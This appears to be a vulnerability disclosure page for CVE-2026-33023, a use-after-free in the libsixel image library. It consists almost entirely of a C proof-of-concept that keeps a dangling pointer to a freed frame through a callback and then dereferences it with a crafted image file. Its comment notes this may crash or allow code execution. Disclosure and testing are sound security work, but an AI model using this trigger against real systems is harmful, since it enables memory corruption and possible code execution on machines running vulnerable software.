CVE-2026-33023 libsixel释放后重用漏洞

#include <libsixel.h> #include <stdio.h> // Global pointer to simulate the dangling reference sixel_frame_t *global_frame = NULL; // Callback function intended to retain the frame int malicious_callback(sixel_frame_t *frame, void *data) { printf("Callback invoked. Incrementing reference count.\n"); // The callback increments the ref count, expecting the object to stay alive sixel_frame_ref(frame); // Store the pointer for later use global_frame = frame; return 0; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <crafted_image.six>\n", argv[0]); return 1; } printf("Loading crafted image...\n"); // This function calls load_with_gdkpixbuf which triggers the bug // It creates the frame, calls the callback, then incorrectly frees the frame. int result = sixel_helper_load_image_file(argv[1], malicious_callback, NULL); if (result != 0) { printf("Load failed (expected).\n"); } // At this point, load_with_gdkpixbuf has returned and free()'d the frame. // However, global_frame still points to the freed memory. printf("Attempting to access the freed frame...\n"); if (global_frame) { // This access triggers the Use-After-Free // Depending on the allocator state, this may crash or lead to code execution int width = sixel_frame_get_width(global_frame); printf("Frame width: %d (Crash or corruption likely occurred here)\n", width); } return 0; }